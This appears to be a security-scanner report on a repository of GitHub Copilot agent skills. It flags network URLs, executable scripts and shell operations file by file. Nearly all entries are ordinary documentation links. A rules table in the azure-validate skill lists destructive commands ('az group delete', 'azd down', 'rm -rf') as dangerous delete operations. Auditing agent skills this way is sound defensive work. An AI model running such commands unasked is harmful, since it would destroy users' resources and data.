| Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s - Network accessline 11
|---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** — - Network accessline 12
| **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | - Network accessline 13
| **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr - Network accessline 48
- IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c - Network accessline 50
- **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur - Network accessline 60
- Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen - Network accessline 62
- **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache- - Network accessline 98
- AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill - Network accessline 99
- ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill - Network accessline 100
- Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/ - Network accessline 101
- ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers - Network accessline 102
- Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration
harness/github-copilot/skills/azure-validate/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/github-copilot/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-validate/references/recipes/scripts/validate-deployment.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-validate/references/recipes/terraform/README.md
- Network accessline 59
- Terraform: see https://developer.hashicorp.com/terraform/install
harness/github-copilot/skills/azure-validate/references/recipes/terraform/errors.md
- Network accessline 28
site_config { cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 29
cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] } - Network accessline 30
allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 36
resource "azurerm_linux_web_app" "frontend" { app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 37
app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" } - Network accessline 38
API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 64
> ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti
harness/github-copilot/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1
- Executable scriptline 1
Executable file - Network accessline 50
Add-Result "Terraform installed" "PASS" } else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
} else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" } - Network accessline 52
Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
harness/github-copilot/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 50
record "Terraform installed" "PASS" else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi - Network accessline 52
record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Dangerous shell operationline 102
rm -f "$tmp"
harness/github-copilot/skills/azure-validate/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 53
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-validate/references/scripts/workflow.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-validate/references/scripts/workflow.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-well-architected-review/SKILL.md
- Network accessline 27
### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 28
Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`) - Network accessline 29
- `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 30
- Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
harness/github-copilot/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/github-copilot/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/github-copilot/skills/batch-files/references/batch-files-and-functions.md
- Network accessline 212
- **Get Default Browser** — Manual: `START ms-settings:defaultapps`. Programmatic: read `HKCU\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice\ProgID` via `REG QUERY`, returns a value like `FirefoxHTML-308046B0A - Network accessline 213
- **Auto-Download Prompt** — Check if a third-party tool exists: `TOOL /? >NUL 2>&1` then `IF ERRORLEVEL 1` means missing. If tool returns non-zero on `/?`, use `(TOOL /? 2>&1) | FIND /I "copyright" >NUL` to detect its output. Prompt user: - Network accessline 214
- **E-mail from Batch** — `START mailto:user@example.com?subject=Hello%%20World^&body=Message%%20text`. Escaping: spaces=`%%20`, CR/LF=`%%0D%%0A`, ampersands escaped with caret (`^&`), double `%%` for batch. Length limited to max command li - Network accessline 215
- **FTP Scripting** — `FTP -s:scriptfile hostname` for unattended transfers. Script file contains: `USER username`, password (next line), `cd path`, `binary`, `prompt n`, `mget *.*` (or `mput`). Security: create script on-the-fly with `ECHO
harness/github-copilot/skills/batch-files/references/cygwin.md
harness/github-copilot/skills/batch-files/references/msys2.md
- Network accessline 7
- [Getting Started](https://www.msys2.org/) - Network accessline 8
- [What is MSYS2?](https://www.msys2.org/docs/what-is-msys2/) - Network accessline 9
- [Who Is Using MSYS2?](https://www.msys2.org/docs/who-is-using-msys2/) - Network accessline 10
- [MSYS2 Installer](https://www.msys2.org/docs/installer/) - Network accessline 11
- [News](https://www.msys2.org/news/) - Network accessline 12
- [FAQ](https://www.msys2.org/docs/faq/) - Network accessline 13
- [Supported Windows Versions and Hardware](https://www.msys2.org/docs/windows_support/) - Network accessline 14
- [ARM64 Support](https://www.msys2.org/docs/arm64/) - Network accessline 20
- [Environments Overview](https://www.msys2.org/docs/environments/) - Network accessline 21
- [GCC vs LLVM/Clang](https://www.msys2.org/docs/environments/#gcc-vs-llvmclang) - Network accessline 22
- [MSVCRT vs UCRT](https://www.msys2.org/docs/environments/#msvcrt-vs-ucrt) - Network accessline 23
- [Changelog](https://www.msys2.org/docs/environments/#changelog) - Network accessline 35
- [Updating MSYS2](https://www.msys2.org/docs/updating/) - Network accessline 36
- [Filesystem Paths](https://www.msys2.org/docs/filesystem-paths/) - Network accessline 37
- [Symlinks](https://www.msys2.org/docs/symlinks/) - Network accessline 38
- [Configuration Locations](https://www.msys2.org/docs/configuration/) - Network accessline 39
- [Terminals](https://www.msys2.org/docs/terminals/) - Network accessline 40
- [IDEs and Text Editors](https://www.msys2.org/docs/ides-editors/) - Network accessline 41
- [Just-in-time Debugging](https://www.msys2.org/docs/jit-debugging/) - Network accessline 45
- [Package Management](https://www.msys2.org/docs/package-management/) - Network accessline 46
- [Package Naming](https://www.msys2.org/docs/package-naming/) - Network accessline 47
- [Package Index](https://packages.msys2.org/) - Network accessline 48
- [Repositories and Mirrors](https://www.msys2.org/docs/repos-mirrors/) - Network accessline 49
- [Package Mirrors](https://www.msys2.org/docs/mirrors/) - Network accessline 50
- [Tips and Tricks](https://www.msys2.org/docs/package-management-tips/) - Network accessline 51
- [FAQ](https://www.msys2.org/docs/package-management-faq/) - Network accessline 52
- [pacman](https://www.msys2.org/docs/pacman/) - Network accessline 56
- [Using CMake in MSYS2](https://www.msys2.org/docs/cmake/) - Network accessline 57
- [Autotools](https://www.msys2.org/docs/autotools/) - Network accessline 58
- [Python](https://www.msys2.org/docs/python/) - Network accessline 59
- [Git](https://www.msys2.org/docs/git/) - Network accessline 60
- [C/C++](https://www.msys2.org/docs/c/) - Network accessline 61
- [C++](https://www.msys2.org/docs/cpp/) - Network accessline 62
- [pkg-config](https://www.msys2.org/docs/pkgconfig/) - Network accessline 63
- [Using MSYS2 in CI](https://www.msys2.org/docs/ci/) - Network accessline 67
- [Creating a new Package](https://www.msys2.org/dev/new-package/) - Network accessline 68
- [Updating an existing Package](https://www.msys2.org/dev/update-package/) - Network accessline 69
- [Package Guidelines](https://www.msys2.org/dev/package-guidelines/) - Network accessline 70
- [License Metadata](https://www.msys2.org/dev/package-licensing/) - Network accessline 71
- [PKGBUILD](https://www.msys2.org/dev/pkgbuild/) - Network accessline 72
- [Mirrors](https://www.msys2.org/dev/mirrors/) - Network accessline 73
- [MSYS2 Keyring](https://www.msys2.org/dev/keyring/) - Network accessline 74
- [Python](https://www.msys2.org/dev/python/) - Network accessline 75
- [Automated Build Process](https://www.msys2.org/dev/build-process/) - Network accessline 76
- [Vulnerability Reporting](https://www.msys2.org/dev/vulnerabilities/) - Network accessline 77
- [Accounts and Ownership](https://www.msys2.org/dev/accounts/) - Network accessline 81
- [Welcome to the MSYS2 wiki](https://www.msys2.org/wiki/Home/) - Network accessline 82
- [How does MSYS2 differ from Cygwin?](https://www.msys2.org/wiki/How-does-MSYS2-differ-from-Cygwin/) - Network accessline 83
- [MSYS2-Introduction](https://www.msys2.org/wiki/MSYS2-introduction/) - Network accessline 84
- [MSYS2 History](https://www.msys2.org/wiki/History/) - Network accessline 85
- [Creating Packages](https://www.msys2.org/wiki/Creating-Packages/) - Network accessline 86
- [Distributing](https://www.msys2.org/wiki/Distributing/) - Network accessline 87
- [Launchers](https://www.msys2.org/wiki/Launchers/) - Network accessline 88
- [Porting](https://www.msys2.org/wiki/Porting/) - Network accessline 89
- [Re-installing MSYS2](https://www.msys2.org/wiki/MSYS2-reinstallation/) - Network accessline 90
- [Setting up SSHd](https://www.msys2.org/wiki/Setting-up-SSHd/) - Network accessline 91
- [Signing Packages](https://www.msys2.org/wiki/Signing-packages/) - Network accessline 92
- [Do you need Sudo?](https://www.msys2.org/wiki/Sudo/) - Network accessline 93
- [Terminals](https://www.msys2.org/wiki/Terminals/) - Network accessline 94
- [Qt Creator](https://www.msys2.org/wiki/GDB-qtcreator/) - Network accessline 95
- [TODO LIST](https://www.msys2.org/wiki/Devtopics/)
harness/github-copilot/skills/batch-files/references/tools-and-resources.md
- Network accessline 5
- [Terminal, Command Line and console blog](https://devblogs.microsoft.com/commandline/) - Network accessline 6
- [Rob van der Woude.com](https://www.robvanderwoude.com/batchfiles.php) - Network accessline 7
- [Security Bulletins](https://msrc.microsoft.com/update-guide) - Network accessline 8
- [OpenCVE](https://app.opencve.io/cve/?q=vendor%3Amicrosoft+AND+cvss31%3E%3D9) - Network accessline 9
- [Old New Thing](https://devblogs.microsoft.com/oldnewthing/tag/tipssupport) - Network accessline 10
- [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/Home.aspx) - Network accessline 11
- [aka.ms Search](https://aka.ms/) - Network accessline 15
- [Windows versions](https://ss64.com/nt/ver.html) - Network accessline 16
- [RSAT](https://ss64.com/links/ps.html#kits) - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/do - Network accessline 17
- [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - [RSAT KBase](h - Network accessline 18
- [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - Network accessline 19
- [RSAT KBase](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit]( - Network accessline 20
- [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/m - Network accessline 21
- [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - Network accessline 22
- [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/microsoft-security-baselines/new--updated-security-tools/1631613) - Network accessline 23
- [Policy Analyzer Release notes](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - Network accessline 24
- [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/) - Network accessline 25
- [File Locksmith](https://learn.microsoft.com/windows/powertoys/file-locksmith) - Network accessline 26
- [Keyboard Manager](https://learn.microsoft.com/en-us/windows/powertoys/keyboard-manager) - Network accessline 27
- [PowerToys Releases (Github)](https://github.com/microsoft/PowerToys/releases) - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/do - Network accessline 28
- [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - [Local Administrator Password Solution (LAPS)](ht - Network accessline 29
- [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - Network accessline 30
- [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/download/details.aspx?id=46899) - Network accessline 31
- [LAPS howto](https://learn-powershell.net/2016/10/08/setting-up-local-administrator-password-solution-laps/) - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](ht - Network accessline 32
- [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - [Account Lockout and Management Tools](https://www.mi - Network accessline 33
- [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - Network accessline 34
- [Account Lockout and Management Tools](https://www.microsoft.com/download/details.aspx?id=18465) - Network accessline 35
- [Microsoft Security Compliance Toolkit 1.0](https://www.microsoft.com/download/details.aspx?id=55319) - Network accessline 36
- [How to disable SMB 1 (or 2/3 for testing)](https://learn.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3) - Network accessline 37
- [File, Folder and Share Permission Utility Tool](https://web.archive.org/web/20200318052717/https://gallery.technet.microsoft.com/scriptcenter/File-Folder-and-Share-f788312b) - Network accessline 38
- [File Checksum Integrity Verifier](https://web.archive.org/web/20150302180951/https://support.microsoft.com/kb/841290) - Network accessline 39
- [CERTUTIL](https://ss64.com/nt/certutil.html) - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?i - Network accessline 40
- [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - [Object Settings spreadsheet 2003/200 - Network accessline 41
- [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - Network accessline 42
- [Object Settings spreadsheet 2003/2008/2008R2/Win7](https://www.microsoft.com/download/details.aspx?id=25250) - Network accessline 43
- [Microsoft PowerToys (Github)](https://github.com/Microsoft/PowerToys) - Network accessline 44
- [Windows 11 ISO](https://www.microsoft.com/en-us/software-download/windows11) - Network accessline 48
- [Windows 11 Installation Assistant](https://www.microsoft.com/software-download/windows11) - Network accessline 49
- [Install Windows 11 Without a Microsoft Account](https://www.tomshardware.com/how-to/install-windows-11-without-microsoft-account) - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - [Windows ADK 24H2]( - Network accessline 50
- [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - Network accessline 51
- [Windows ADK 24H2](https://www.microsoft.com/en-us/download/details.aspx?id=106254) - Network accessline 52
- [Windows Server 25](https://www.microsoft.com/en-us/download/details.aspx?id=106295) - Network accessline 53
- [Microsoft Deployment Toolkit](https://learn.microsoft.com/en-us/intune/configmgr/mdt/) - Network accessline 54
- [Windows Assessment and Deployment Kit](https://learn.microsoft.com/en-us/windows-hardware/get-started/adk-install) - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/softwar - Network accessline 55
- [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO) - Network accessline 56
- [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - Network accessline 57
- [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO) - Network accessline 59
- [Locale Builder 2.0](https://www.microsoft.com/download/details.aspx?id=41158) - Network accessline 63
- [Ansible](https://www.ansible.com/how-ansible-works/) - Network accessline 64
- [Chocolatey](https://chocolatey.org/) - Network accessline 65
- [Ninite](https://ninite.com/) - Network accessline 66
- [Scoop](https://scoop.sh/) - Network accessline 67
- [Windows Package Manager (WinGet)](https://devblogs.microsoft.com/commandline/windows-package-manager-1-1/) - Network accessline 68
- [AppGet](https://devblogs.microsoft.com/commandline/winget-install-learning/) - Network accessline 72
- [SysInternals](https://learn.microsoft.com/en-us/sysinternals/) - Network accessline 73
- [bottom](https://github.com/ClementTsang/bottom) — cross-platform graphical process/system monitor - Network accessline 74
- [Caffeine.exe](https://www.zhornsoftware.co.uk/caffeine/index.html) — prevent sleep/lock - Network accessline 75
- [CMDebug](https://jpsoft.com/products/cmdebug.html) — batch file debugger - Network accessline 76
- [Console 2](https://github.com/cbucher/console) | [review](https://www.hanselman.com/blog/Console2ABetterWindowsCommandPrompt) - Network accessline 77
- [ConEmu-Maximus5](https://conemu.github.io/) | [review](https://www.hanselman.com/blog/ConEmuTheWindowsTerminalConsolePromptWeveBeenWaitingFor) - Network accessline 78
- [CopyTrans Manager](https://www.copytrans.net/copytransmanager/) | [CopyTrans Filey](https://www.copytrans.net/copytransfiley/) - Network accessline 79
- [CryptoPrevent](https://www.bleepingcomputer.com/virus-removal/cryptolocker-ransomware-information) - Network accessline 80
- [Cygwin](https://cygwin.com/) - Network accessline 81
- [DOFF](https://ss64.com/links/doff10.zip) | [source](https://ss64.com/links/doff10_source.zip) - Network accessline 82
- [FastCopy](https://fastcopy.jp/) - Network accessline 83
- [FindRepl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=4697) — find and replace in text files - Network accessline 84
- [Gow](https://github.com/bmatzelle/gow) — GNU on Windows (lightweight Cygwin alternative) - Network accessline 85
- [ImageMagick](https://www.imagemagick.org/) - Network accessline 86
- [Jdupes](https://codeberg.org/jbruchon/jdupes) — duplicate file finder - Network accessline 87
- [Joeware.net](https://www.joeware.net/freetools/) — AD and Windows tools - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/down - Network accessline 88
- [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - [MParallel](https://github.com/lordmulder/MPa - Network accessline 89
- [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - Network accessline 90
- [MParallel](https://github.com/lordmulder/MParallel) — parallel command execution - Network accessline 91
- [Nirsoft Utilities](https://www.nirsoft.net/) - Network accessline 92
- [NirCMD](https://www.nirsoft.net/utils/nircmd.html) — command-line automation utility - Network accessline 93
- [NSIS](https://nsis.sourceforge.io/Main_Page) — installer creation - Network accessline 94
- [Npocmaka batch scripts](https://github.com/npocmaka/batch.scripts) - Network accessline 95
- [zipjs.bat](https://stackoverflow.com/questions/28043589/how-can-i-compress-zip-and-uncompress-unzip-files-and-folders-with-bat) - Network accessline 96
- [PDFtk](https://www.pdflabs.com/tools/pdftk-server/) — PDF manipulation - Network accessline 97
- [Petter Nordahl-Hagen](https://pogostick.net/~pnh/ntpasswd/main.html) — NT password recovery - Network accessline 98
- [pretentiousname utilities](https://www.pretentiousname.com/miscsoft/index.html) - Network accessline 99
- [Repl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=3855) — regex replace in text files - Network accessline 100
- [Ritchie Lawrence tools](https://github.com/ritchielawrence/) | [cmdow](https://github.com/ritchielawrence/cmdow) - Network accessline 101
- [SetACL](https://helgeklein.com/setacl/) — permission management - Network accessline 102
- SetRes — screen resolution changer - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - Network accessline 103
- [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - Network accessline 104
- [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - [WebP utilities](https://developers.google.com/speed/webp/download) - Network accessline 105
- [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - Network accessline 106
- [WebP utilities](https://developers.google.com/speed/webp/download) - Network accessline 110
- [Depicus](https://www.depicus.com/wake-on-lan/wake-on-lan-cmd) - Network accessline 111
- [Gammadyne](https://www.gammadyne.com/cmdline.htm#wol) - Network accessline 112
- [Nirsoft WOL](https://www.nirsoft.net/utils/wake_on_lan.html) - Network accessline 113
- [PowerShell Wake On LAN script](https://powershell.one/code/11.html) - Network accessline 117
- [Windows Terminal](https://apps.microsoft.com/detail/9N0DX20HK701) | [GitHub](https://github.com/microsoft/terminal) - Network accessline 118
- [ConEmu](https://conemu.github.io/) - Network accessline 119
- [ConsoleZ](https://github.com/cbucher/console) - Network accessline 120
- [Fluent Terminal](https://github.com/felixse/FluentTerminal) - Network accessline 121
- [Hyper](https://hyper.is/) - Network accessline 122
- [MinTTY](https://mintty.github.io/) - Network accessline 123
- [MobaXterm](https://mobaxterm.mobatek.net/) - Network accessline 124
- [Tabby](https://tabby.sh/) - Network accessline 125
- [ZOC](https://www.emtec.com/zoc/)
harness/github-copilot/skills/batch-files/references/windows-commands.md
- Network accessline 3
Comprehensive command reference from [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands). - Network accessline 7
- [active](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/active) - Network accessline 8
- [add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add) - Network accessline 9
- [add alias](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-alias) - Network accessline 10
- [add volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-volume) - Network accessline 11
- [adprep](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/adprep) - Network accessline 12
- [append](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/append) - Network accessline 13
- [arp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/arp) - Network accessline 14
- [assign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assign) - Network accessline 15
- [assoc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc) - Network accessline 16
- [at](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/at) - Network accessline 17
- [atmadm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/atmadm) - Network accessline 18
- [attach-vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attach-vdisk) - Network accessline 19
- [attrib](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib) - Network accessline 20
- [attributes](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes) - Network accessline 21
- [attributes disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-disk) - Network accessline 22
- [attributes volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-volume) - Network accessline 23
- [auditpol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol) - Network accessline 24
- [auditpol backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-backup) - Network accessline 25
- [auditpol clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-clear) - Network accessline 26
- [auditpol get](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-get) - Network accessline 27
- [auditpol list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-list) - Network accessline 28
- [auditpol remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-remove) - Network accessline 29
- [auditpol resourcesacl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-resourcesacl) - Network accessline 30
- [auditpol restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-restore) - Network accessline 31
